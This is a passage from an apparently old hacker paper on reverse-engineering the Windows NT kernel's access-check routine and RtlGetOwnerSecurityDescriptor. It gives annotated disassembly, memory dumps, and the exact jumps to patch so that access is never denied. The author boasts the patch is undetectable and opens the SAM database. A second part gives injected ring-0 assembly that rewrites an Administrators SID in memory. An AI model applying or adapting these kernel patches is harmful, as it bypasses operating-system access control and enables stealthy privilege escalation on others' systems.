ACE ; the EDI register is modified ; with each ACE's access mask ; if a SID match occurs. ; Access is allowed only if ; EDI is completely blank ; by the time we are done. :-) 80199AE9 jz loc_80199B79 ; jumps to exit routine ; if EDI is blank 80199AEF test byte ptr [esi+1], 8 ; checks for ACE value ; 8, second byte.. ; i dont know what ; this is, but if it's ; not 8, its not ; evaluated, not ; important 80199AF3 jnz short loc_80199B64 80199AF5 mov al, [esi] ; this is the ACE type, ; which is 0, 1, or 4 80199AF7 test al, al ; 0 is ALLOWED_TYPE and ; 1 is DENIED_TYPE 80199AF9 jnz short loc_80199B14 ; jump to next block if ; it's not type 0 80199AFB lea eax, [esi+8] ; offset 8 is the SID 80199AFE push eax ; pushes the ACE 80199AFF push [ebp+var_8] 80199B02 call sub_801997C2 ; checks to see if the ; caller matches the ; SID return of 1 says ; we matched, 0 means ; we did not 80199B07 test al, al 80199B09 jz short loc_80199B64 ; a match here is good, ; since its the ALLOWED ; list ; so a 2 byte patch can ; NOP out this jump ; 80199B0B mov eax, [esi+4] 80199B0E not eax 80199B10 and edi, eax ; whiddles off the part ; of EDI that we ; matched .. ; this chopping of ; flags can go on through ; many loops ; remember, we are only ; good if ALL of EDI is ; chopped away... 80199B12 jmp short loc_80199B64 80199B14 ; =========================================================================== 80199B14 80199B14 loc_80199B14: ; CODE XREF: sub_80199836+2C3 80199B14 cmp al, 4 ; check for ACE type 4 80199B16 jnz short loc_80199B4B ; normally we aren't ; this type, so jump *** removed source here *** 80199B4B ; =========================================================================== 80199B4B 80199B4B loc_80199B4B: ; CODE XREF: sub_80199836+2E0j 80199B4B cmp al, 1 ; check for DENIED type 80199B4D jnz short loc_80199B64 80199B4F lea eax, [esi+8] ; offset 8 is the SID 80199B52 push eax 80199B53 push [ebp+var_8] 80199B56 call sub_801997C2 ; check the callers SID 80199B5B test al, al ; a match here is BAD, ; since we are being ; DENIED 80199B5D jz short loc_80199B64 ; so make JZ a normal ; JMP 80199B5F test [esi+4], edi ; we avoid this flag ; check w/ the patch 80199B62 jnz short loc_80199B79 80199B64 80199B64 loc_80199B64: ; CODE XREF: sub_80199836+2BD 80199B64 ; sub_80199836+2D3 80199B64 mov ecx, [ebp+var_10] ; our loop routine, ; called from above as ; we loop around and ; around. ; var_10 is the number ; of ACE's 80199B67 inc [ebp+var_C] ; var_C is the current ; ACE 80199B6A movzx eax, word ptr [esi+2] ; byte 3 is the offset ; to the next ACE 80199B6E add esi, eax ; FFWD 80199B70 cmp [ebp+var_C], ecx ; check to see if we ; are done 80199B73 jb loc_80199AE7 ; if not, go back up... 80199B79 80199B79 loc_80199B79: ; CODE XREF: sub_80199836+2AB 80199B79 ; sub_80199836+2B3 80199B79 xor eax, eax ; this is our general ; exit routine 80199B7B test edi, edi ; if EDI isnt empty, ; then a DENIED state ; was reached above 80199B7D jz short loc_80199B91 ; so patch the JZ into ; a JMP so we never ; return ACCESS_DENIED ; 80199B7F mov ecx, [ebp+arg_1C] 80199B82 mov [ecx], eax 80199B84 mov eax, [ebp+arg_24] ; STATUS_ACCESS_DENIED 80199B87 mov dword ptr [eax], 0C0000022h 80199B8D xor al, al 80199B8F jmp short loc_80199C0C 80199B91 ; =========================================================================== 80199B91 80199B91 loc_80199B91: ; CODE XREF: sub_80199836+347 80199B91 mov eax, [ebp+1Ch] 80199B94 mov ecx, [ebp+arg_1C] ; result code into ; &arg_1C 80199B97 or eax, [ebp+arg_C] ; checked passed in ; mask 80199B9A mov [ecx], eax 80199B9C mov ecx, [ebp+arg_24] ; result code into ; &arg_24, should be ; zero 80199B9F jnz short loc_80199BAB ; if everything above ; went OK, we should jump 80199BA1 xor al, al 80199BA3 mov dword ptr [ecx], 0C0000022h 80199BA9 jmp short loc_80199C0C 80199BAB ; =========================================================================== 80199BAB 80199BAB loc_80199BAB: ; CODE XREF: sub_80199836+369 80199BAB mov dword ptr [ecx], 0 ; Good and Happy ; things, we passed! 80199BB1 test ebx, ebx 80199BB3 jz short loc_80199C0A 80199BB5 push [ebp+arg_20] 80199BB8 push dword ptr [ebp+var_2] 80199BBB push dword ptr [ebp-1] 80199BBE push ebx 80199BBF call sub_8019DC80 80199BC4 jmp short loc_80199C0A 80199BC6 ; =========================================================================== removed code here 80199C0A loc_80199C0A: ; CODE XREF: sub_80199836+123 80199C0A ; sub_80199836+152 80199C0A mov al, 1 80199C0C 80199C0C loc_80199C0C: ; CODE XREF: sub_80199836+55 80199C0C ; sub_80199836+8F 80199C0C pop edi 80199C0D pop esi 80199C0E pop ebx 80199C0F mov esp, ebp 80199C11 pop ebp 80199C12 retn 28h ; Outta Here! 80199C12 sub_80199836 endp Whew! Some STRUCTURE dumps along the way: :d eax 0023:E1A1C174 01 00 04 80 DC 00 00 00-EC 00 00 00 00 00 00 00 ................ ; this looks like a SD 0023:E1A1C184 14 00 00 00 02 00 C8 00-08 00 00 00 00 09 18 00 ................ 0023:E1A1C194 00 00 00 10 01 01 00 00-00 00 00 03 00 00 00 00 ................ 0023:E1A1C1A4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................ 0023:E1A1C1B4 00 00 00 03 00 00 00 00-00 00 00 00 00 09 18 00 ................ 0023:E1A1C1C4 00 00 00 10 01 01 00 00-00 00 00 05 12 00 00 00 ................ 0023:E1A1C1D4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................ 0023:E1A1C1E4 00 00 00 05 12 00 00 00-00 00 00 00 00 09 18 00 ................ :d esi 0023:E1A1C188 02 00 C8 00 08 00 00 00-00 09 18 00 00 00 00 10 ................ ; OFFSET into the SD (DACL) 0023:E1A1C198 01 01 00 00 00 00 00 03-00 00 00 00 00 00 00 00 ................ 0023:E1A1C1A8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 03 ................ 0023:E1A1C1B8 00 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................ 0023:E1A1C1C8 01 01 00 00 00 00 00 05-12 00 00 00 00 00 00 00 ................ 0023:E1A1C1D8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 05 ................ 0023:E1A1C1E8 12 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................ 0023:E1A1C1F8 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ... The following formats appear to be the SD, DACL, and ACE: SD: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- r | |04|80|fo| | | |fg| | | | | | |fd| | --==> -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- r: Revision, must be 1 fo: Offset to Owner SID fg: Offset to Group SID fd: Offset to DACL ACL: -- -- -- -- -- -- -- -- -- -- r | | | |na| | | |sa| | --==> -- -- -- -- -- -- -- -- -- -- r: Revision? na: Number of ACE's sa: Start of first ACE ACE: -- -- -- -- -- -- -- -- -- -- t |i |oa| |am| | | |ss| | --==> -- -- -- -- -- -- -- -- -- -- t: type, 0, 1, or 4 i: the ACE is ignored if this value isn't 8 oa: offset to next ACE am: access mask associated with this SID ss: start of the SID, normally at offset 8, but for ACE type 4, will be at offset 0Ch So there you have it, a 4 byte patch. Application of this patch will allow almost anyone access to almost any object on your NT domain. Also, it is undetectable when auditing ACL's and the such. The only indication something is wrong is the fact your now opening the SAM database from a normal account w/o a hitch... I can kill any process without being denied access.. God knows what the NULL User session can get away with!. I like that. 8-/. Gee, it's almost USEFUL isn't it? Reverse Engineering & Patch of the RTLGetOwnerSecurityDescriptor() function --------------------------------------------------------------------------- As if the last patch wasn't good enough, this patch should illustrate how easy it is add your own code to the Kernel. Simply by patching a single jump, I was able to detour the execution path into a highwayman's patch, and return back to normal execution without a hitch. This patch alters a SID in memory, violating the integrity of the security system. With a little creative light, this patch could be so much more. There are hundreds of routines in the ntoskrnl.exe. You are executing your own code in ring-0, so anything is possible. If for any other reason, this paper should open your mind to the possibilities. Reversing the NT Kernel is nothing new, I am quite sure. I would bet that the NSA has the full source to the NT Kernel, and has written some very elaborate patches. In fact, they were probably on that for NT 3.5. 80184AAC ; =========================================================================== 80184AAF align 4 80184AB0 ; Exported entry 719. RtlGetOwnerSecurityDescriptor 80184AB0 80184AB0 ; =========================================================================== 80184AB0 80184AB0 ; S u b r o u t i n e 80184AB0 ; Attributes: bp-based frame 80184AB0 80184AB0 public RtlGetOwnerSecurityDescriptor 80184AB0 RtlGetOwnerSecurityDescriptor proc near ; CODE XREF: sub_8018F318+22 80184AB0 80184AB0 arg_0 = dword ptr 8 80184AB0 arg_4 = dword ptr 0Ch 80184AB0 arg_8 = dword ptr 10h 80184AB0 80184AB0 push ebp 80184AB1 mov edx, [esp+arg_0] 80184AB5 mov ebp, esp 80184AB7 push esi // // MessageId: STATUS_UNKNOWN_REVISION // // MessageText: // // Indicates a revision number encountered or specified is not one // known by the service. It may be a more recent revision than the // service is aware of. // #define STATUS_UNKNOWN_REVISION ((NTSTATUS)0xC0000058L) On SD Revision: The user mode function InitializeSecurityDescriptor() will set the revision number for the SD. The InitializeSecurityDescriptor() function initializes a new security descriptor. BOOL InitializeSecurityDescriptor( PSECURITY_DESCRIPTOR pSecurityDescriptor, // address of security descriptor DWORD dwRevision // revision level ); Parameters: pSecurityDescriptor: Points to a SECURITY_DESCRIPTOR structure that the function initializes. dwRevision: Specifies the revision level to assign to the security descriptor. This must be SECURITY_DESCRIPTOR_REVISION. 80184AB8 cmp byte ptr [edx], 1 ; Ptr to decimal ; value usually 01, ; (SD Revision) 80184ABB jz short loc_80184AC4 ; STATUS CODE (STATUS_UNKNOWN_REVISION) 80184ABD mov eax, 0C0000058h 80184AC2 jmp short loc_80184AF3 ; will exit The next block here does some operations against the object stored *edx, which is our first argument to this function. I think this may be a SD. There are two different forms of an SD, absolute and relative.. here is the doc: A security descriptor can be in absolute or self-relative form. In self-relative form, all members of the structure are located contiguously in memory. In absolute form, the structure only contains pointers to the members. This [edx] object is passed in as absolute: Argument 1 (a SECURITY_DESCRIPTOR structure): :d edx 0023:E1F47488 01 00 04 80 5C 00 00 00-6C 00 00 00 00 00 00 00 ....\...l....... ; 01 Revision, Flags 04, ; Offset to Owner SID is 5C, ; Offset to Primary Group SID is 6C 0023:E1F47498 14 00 00 00 02 00 48 00-02 00 00 00 00 00 18 00 ......H......... 0023:E1F474A8 FF 00 0F 00 01 02 00 00-00 00 00 05 20 00 00 00 ............ ... 0023:E1F474B8 20 02 00 00 00 00 14 00-FF 00 0F 00 01 01 00 00 ............... 0023:E1F474C8 00 00 00 05 12 00 00 00-00 00 4E 00 C8 FD 14 00 ..........N..... 0023:E1F474D8 E8 00 14 00 41 00 64 00-6D 00 69 00 01 02 00 00 ....A.d.m.i..... ; SIDS start here, see below 0023:E1F474E8 00 00 00 05 20 00 00 00-20 02 00 00 01 05 00 00 .... ... ....... 0023:E1F474F8 00 00 00 05 15 00 00 00-BA 5D FF 0C 5C 4F CF 51 .........]..\O.Q 80184AC4 ; =========================================================================== 80184AC4 80184AC4 loc_80184AC4: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+B 80184AC4 mov eax, [edx+4] ; we are here if the revision ; is good 80184AC7 xor ecx, ecx 80184AC9 test eax, eax ; 01 00 04 80 >5C< which is ; [edx+4] must not be zero ; if the value IS zero, this ; means the SD does NOT have a ; owner, and it sets argument ; 2 to NULL, then returns, ; ignoring argument 3 ; altogether. 80184ACB jnz short loc_80184AD4 80184ACD mov esi, [ebp+arg_4] 80184AD0 mov [esi], ecx 80184AD2 jmp short loc_80184AE1 80184AD4 ; =========================================================================== 80184AD4 80184AD4 loc_80184AD4: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+1B 80184AD4 test byte ptr [edx+3], 80h ; 01 00 04 >80< 5C ; which is [edx+3] must be 80 80184AD8 jz short loc_80184ADC 80184ADA add eax, edx ; adds edx to 5C, ; which must be an ; offset to the SID ; within the SD Note a couple of SIDS hanging around in this memory location. The first one is the Owner, the second one must be the Group. The first SID, 1-5-20-220 is BUILTIN\Administrators. By changing the 220 to a 222, we can alter this to be BUILTIN\Guests. This will cause serious security problems. That second SID happens to be long nasty one.. that is your first indication that it's NOT a built-in group. In fact, in this case, the group is ANSUZ\None, a local group on my NT Server (my server is obviously named ANSUZ.. ;) :d eax 0023:E1A49F84 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ... ; This is a SID in memory (1-5-20-220) 0023:E1A49F94 01 05 00 00 00 00 00 05-15 00 00 00 BA 5D FF 0C .............].. ; another SID 0023:E1A49FA4 5C 4F CF 51 FD 28 9A 4E-01 02 ; (1-5-15-CFF5DBA-51CF4F5C-4E9A28FD-201) Here we start working with arguments 1 & 2: 80184ADC 80184ADC loc_80184ADC: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+28 80184ADC mov esi, [ebp+arg_4] 80184ADF mov [esi], eax ; moving the address of the ; SID through the user ; supplied ptr (PSID pOwner) 80184AE1 80184AE1 loc_80184AE1: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+22 80184AE1 mov ax, [edx+2] ; some sort of flags ; 01 00 >04< 80 5C 80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data 80184AE8 and al, 1 80184AEA cmp al, 1 ; checking against a mask of ; 0x01 80184AEC setz cl ; set based on flags register ; (if previous compare was true) 80184AEF xor eax, eax ; status is zero, all good ;) 80184AF1 mov [edx], cl ; the value is set for ; SE_OWNER_DEFAULTED ; true/false 80184AF3 80184AF3 loc_80184AF3: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+12 80184AF3 pop esi 80184AF4 pop ebp 80184AF5 retn 0Ch ; outta here, status in EAX 80184AF5 RtlGetOwnerSecurityDescriptor endp This routine is called from the following stack(s): (NtOpenProcessToken) Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=31.98 milliseconds) :stack at 001B:00000000 (SS:EBP 0010:00000000) ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8E3FF04) ntoskrnl!NtOpenProcessToken+025E at 0008:80198834 (SS:EBP 0010:F8E3FEEC) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8E3FE50) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8E3FD80) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8E3FD48) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8E3FD34) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8E3FD20) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8E3FD00) (PsCreateWin32Process) Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=3.62 milliseconds) :stack ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateWin32Process+01E7 at 0008:80192B5D (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsCreateSystemThread+04CE at 0008:8019303E (SS:EBP 0010:F8CDFE6C) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDC8) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCF8) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCC0) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCAC) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC98) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC78) (PsCreateSystemThread) :stack ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsCreateSystemProcess+05FD at 0008:801938B1 (SS:EBP 0010:F8CDFE8C) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDEC) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFD1C) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCE4) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCD0) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFCBC) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC9C) (SeTokenImpersonationLevel) :stack ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsRevertToSelf+0063 at 0008:8013577D (SS:EBP 0010:F8CDFE8C) ntoskrnl!SeTokenImpersonationLevel+01A3 at 0008:8019F12F (SS:EBP 0010:F8CDFDE8) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFD9C) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCCC) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFC94) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFC80) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC6C) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC4C) I began by trying to patch this call. I decided to try and detect the Owner SID of BUILTIN\Administrators (1-5-20-220) and change it to BUILTIN\Users (1-5-20-221) on the fly. The following code is what I patched in: First, I located a region of memory where I could dump some extra code. For testing, I chose the region at 08:8000F2B0. I found it to be initially all zeroed out, so I figured it safe for a while. Next, I assembled some instructions into this new area: 8000F2B0: push ebx mov ebx, [eax + 08] cmp ebx, 20 ; check the 20 in 1-5-20-XXX nop ; nop's are leftovers from ; debugging nop jnz 8000f2c2 ; skip it if we aren't looking ; at a 20 mov word ptr [eax+0c], 221 ; write over old RID w/ new RID ; of 221 nop 8000f2c2: pop ebx nop mov esi, [ebp + 0c] ; the two instructions mov [esi], eax ; that I nuked to make the ; initial jump jmp 80184ae1 Now, notice the last two instructions prior to the jump back to NT. To make this call, I had to install a JMP instruction into the NT subroutine itself. Doing that nuked two actual instructions, as follows: Original code: 80184ADC mov esi, [ebp+arg_4];<**===--- PATCHING A JUMP ; HERE 80184ADF mov [esi], eax 80184AE1 mov ax, [edx+2] ; some sort of flags ; 01 00 >04< 80 5C 80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data After patch: 80184ADC JMP 8000F2B0 ; Note: this nuked two real ; instructions... 80184AE1 mov ax, [edx+2] ; some sort of flags ; 01 00 >04< 80 5C 80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data So, to correct this, the code that I am jumping to runs the two missing instructions: mov esi, [ebp + 0c] ; the two instructions mov [esi], eax ; that I nuked to make the ; initial jump Alas, all is good. I tested this patch for quite some time without a problem. To verify that it was working, I checked the memory during the patch, and sure enough, it was turning SID 1-5-20-220 into SID 1-5-20-221. However, as with all projects, I was not out of the water yet. When getting the security properties for a file, the Owner still shows up as Administrators. This patch is clearly called during such a query, as I have set breakpoints. However, the displayed OWNER is still administrators, even though I am patching the SID in memory. Further investigation has revealed that this routine isn't called to check access to a file object, but is called for opening process tokens, creating processes, and creating threads. Perhaps someone could shed some more light on this? Nonetheless, the methods used in this patch can be re-purposed for almost any Kernel routine, so I hope it has been a useful journey. Appendix A: Exported functions for the SRM: ------------------------------------------- SeAccessCheck SeAppendPrivileges SeAssignSecurity SeAuditingFileEvents SeAuditingFileOrGlobalEvents SeCaptureSecurityDescriptor SeCaptureSubjectContext SeCloseObjectAuditAlarm SeCreateAccessState SeCreateClientSecurity SeDeassignSecurity SeDeleteAccessState SeDeleteObjectAuditAlarm SeExports SeFreePrivileges SeImpersonateClient SeLockSubjectContext SeMarkLogonSessionForTerminationNotification SeOpenObjectAuditAlarm SeOpenObjectForDeleteAuditAlarm SePrivilegeCheck SePrivilegeObjectAuditAlarm SePublicDefaultDacl SeQueryAuthenticationIdToken SeQuerySecurityDescriptorInfo SeRegisterLogonSessionTerminatedRoutine SeReleaseSecurityDescriptor SeReleaseSubjectContext SeSetAccessStateGenericMapping SeSetSecurityDescriptorInfo SeSinglePrivilegeCheck SeSystemDefaultDacl SeTokenImpersonationLevel SeTokenType SeUnlockSubjectContext SeUnregisterLogonSessionTerminatedRoutine SeValidSecurityDescriptor Here are the exported functions for the Object Manager: ObAssignSecurity ObCheckCreateObjectAccess ObCheckObjectAccess ObCreateObject ObDereferenceObject ObfDereferenceObject ObFindHandleForObject ObfReferenceObject ObGetObjectPointerCount ObGetObjectSecurity ObInsertObject ObMakeTemporaryObject ObOpenObjectByName ObOpenObjectByPointer ObQueryNameString ObQueryObjectAuditingByHandle ObReferenceObjectByHandle ObReferenceObjectByName ObReferenceObjectByPointer ObReleaseObjectSecurity ObSetSecurityDescriptorInfo Here are the exported functions for the IO Manager: IoAcquireCancelSpinLock IoAcquireVpbSpinLock IoAdapterObjectType IoAllocateAdapterChannel IoAllocateController IoAllocateErrorLogEntry IoAllocateIrp IoAllocateMdl IoAssignResources IoAttachDevice IoAttachDeviceByPointer IoAttachDeviceToDeviceStack IoBuildAsynchronousFsdRequest IoBuildDeviceIoControlRequest IoBuildPartialMdl IoBuildSynchronousFsdRequest IoCallDriver IoCancelIrp IoCheckDesiredAccess IoCheckEaBufferValidity IoCheckFunctionAccess IoCheckShareAccess IoCompleteRequest IoConnectInterrupt IoCreateController IoCreateDevice IoCreateFile IoCreateNotificationEvent IoCreateStreamFileObject IoCreateSymbolicLink IoCreateSynchronizationEvent IoCreateUnprotectedSymbolicLink IoDeleteController IoDeleteDevice IoDeleteSymbolicLink IoDetachDevice IoDeviceHandlerObjectSize IoDeviceHandlerObjectType IoDeviceObjectType IoDisconnectInterrupt IoDriverObjectType IoEnqueueIrp IoFastQueryNetworkAttributes IofCallDriver IofCompleteRequest IoFileObjectType IoFreeController IoFreeIrp IoFreeMdl IoGetAttachedDevice IoGetBaseFileSystemDeviceObject IoGetConfigurationInformation IoGetCurrentProcess IoGetDeviceObjectPointer IoGetDeviceToVerify IoGetFileObjectGenericMapping IoGetInitialStack IoGetRelatedDeviceObject IoGetRequestorProcess IoGetStackLimits IoGetTopLevelIrp IoInitializeIrp IoInitializeTimer IoIsOperationSynchronous IoIsSystemThread IoMakeAssociatedIrp IoOpenDeviceInstanceKey IoPageRead IoQueryDeviceDescription IoQueryDeviceEnumInfo IoQueryFileInformation IoQueryVolumeInformation IoQueueThreadIrp IoRaiseHardError IoRaiseInformationalHardError IoReadOperationCount IoReadTransferCount IoRegisterDriverReinitialization IoRegisterFileSystem IoRegisterFsRegistrationChange IoRegisterShutdownNotification IoReleaseCancelSpinLock IoReleaseVpbSpinLock IoRemoveShareAccess IoReportHalResourceUsage IoReportResourceUsage IoSetDeviceToVerify IoSetHardErrorOrVerifyDevice IoSetInformation IoSetShareAccess IoSetThreadHardErrorMode IoSetTopLevelIrp IoStartNextPacket IoStartNextPacketByKey IoStartPacket IoStartTimer IoStatisticsLock IoStopTimer IoSynchronousPageWrite IoThreadToProcess IoUnregisterFileSystem IoUnregisterFsRegistrationChange IoUnregisterShutdownNotification IoUpdateShareAccess IoVerifyVolume IoWriteErrorLogEntry IoWriteOperationCount IoWriteTransferCount Here are the exported functions for the LSA: LsaCallAuthenticationPackage LsaDeregisterLogonProcess LsaFreeReturnBuffer LsaLogonUser LsaLookupAuthenticationPackage LsaRegisterLogonProcess The only imports are from the HAL DLL: HAL.ExAcquireFastMutex HAL.ExReleaseFastMutex HAL.ExTryToAcquireFastMutex HAL.HalAllocateAdapterChannel HAL.HalBeginSystemInterrupt HAL.HalClearSoftwareInterrupt HAL.HalDisableSystemInterrupt HAL.HalDisplayString HAL.HalEnableSystemInterrupt HAL.HalEndSystemInterrupt HAL.HalGetEnvironmentVariable HAL.HalHandleNMI HAL.HalProcessorIdle HAL.HalQueryDisplayParameters HAL.HalRequestSoftwareInterrupt HAL.HalReturnToFirmware HAL.HalSetEnvironmentVariable HAL.HalSetRealTimeClock HAL.HalStartProfileInterrupt HAL.HalStopProfileInterrupt HAL.HalSystemVectorDispatchEntry HAL.KdPortPollByte HAL.KdPortRestore HAL.KdPortSave HAL.KeGetCurrentIrql HAL.KeLowerIrql HAL.KeRaiseIrql HAL.KeRaiseIrqlToDpcLevel HAL.KeRaiseIrqlToSynchLevel HAL.KfAcquireSpinLock HAL.KfLowerIrql HAL.KfRaiseIrql HAL.KfReleaseSpinLock HAL.READ_PORT_UCHAR HAL.READ_PORT_ULONG HAL.READ_PORT_USHORT HAL.WRITE_PORT_UCHAR HAL.WRITE_PORT_ULONG HAL.WRITE_PORT_USHORT ----[ EOF